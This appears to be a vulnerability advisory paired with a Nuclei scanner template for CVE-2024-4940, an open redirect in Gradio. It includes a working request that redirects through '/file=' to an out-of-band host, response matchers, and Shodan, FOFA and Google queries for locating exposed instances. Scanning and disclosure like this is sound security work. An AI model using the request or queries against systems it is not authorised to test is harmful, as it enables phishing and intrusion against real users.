An open redirect vulnerability exists in the gradio-app/gradio, affecting the latest version. The vulnerability allows an attacker to redirect users to arbitrary websites, which can be exploited for phishing attacks, Cross-site Scripting (XSS), Server-Side Request Forgery (SSRF), amongst others. This issue is due to improper validation of user-supplied input in the handling of URLs. Attackers can exploit this vulnerability by crafting a malicious URL that, when processed by the application, redirects the user to an attacker-controlled web page.
PoC
id: CVE-2024-4940
info:
name: Gradio - Open Redirect
author: DhiyaneshDK
severity: medium
description: |
An open redirect vulnerability exists in the gradio-app/gradio, affecting the latest version. The vulnerability allows an attacker to redirect users to arbitrary websites, which can be exploited for phishing attacks, Cross-site Scripting (XSS), Server-Side Request Forgery (SSRF), amongst others. This issue is due to improper validation of user-supplied input in the handling of URLs. Attackers can exploit this vulnerability by crafting a malicious URL that, when processed by the application, redirects the user to an attacker-controlled web page.
impact: |
Attackers can redirect users to malicious websites via open redirect, potentially enabling phishing attacks.
remediation: |
Update Gradio to a version that patches the open redirect vulnerability.
reference:
- https://huntr.com/bounties/35aaea93-6895-4f03-9c1b-cd992665aa60
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N
cvss-score: 5.4
cve-id: CVE-2024-4940
cwe-id: CWE-601
epss-score: 0.01021
epss-percentile: 0.61701
metadata:
verified: true
max-request: 1
vendor: gradio_project
product: gradio
shodan-query:
- http.html:"__gradio_mode__"
- http.title:"gradio"
fofa-query:
- body="__gradio_mode__"
- title="gradio"
google-query: intitle:"gradio"
tags: cve,cve2024,redirect,oast,gradio,vuln
http:
- raw:
- |
GET /file=http://oast.pro/ HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: regex
regex:
- '(?m)^(?:Location\s*?:\s*?)(?:https?://|//)(?:[a-zA-Z0-9\-_\.@]*)oast\.pro.*$'
part: header
- type: status
status:
- 302
# digest: 4a0a0047304502202cb90aad16b831f67522512dc04e2318158d99d944aeb8c10e57d8e65dfd17aa022100857a895213bd96dd9dc84a08b1bb907552ce5002fc9da4d070aac548c339ef9e:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.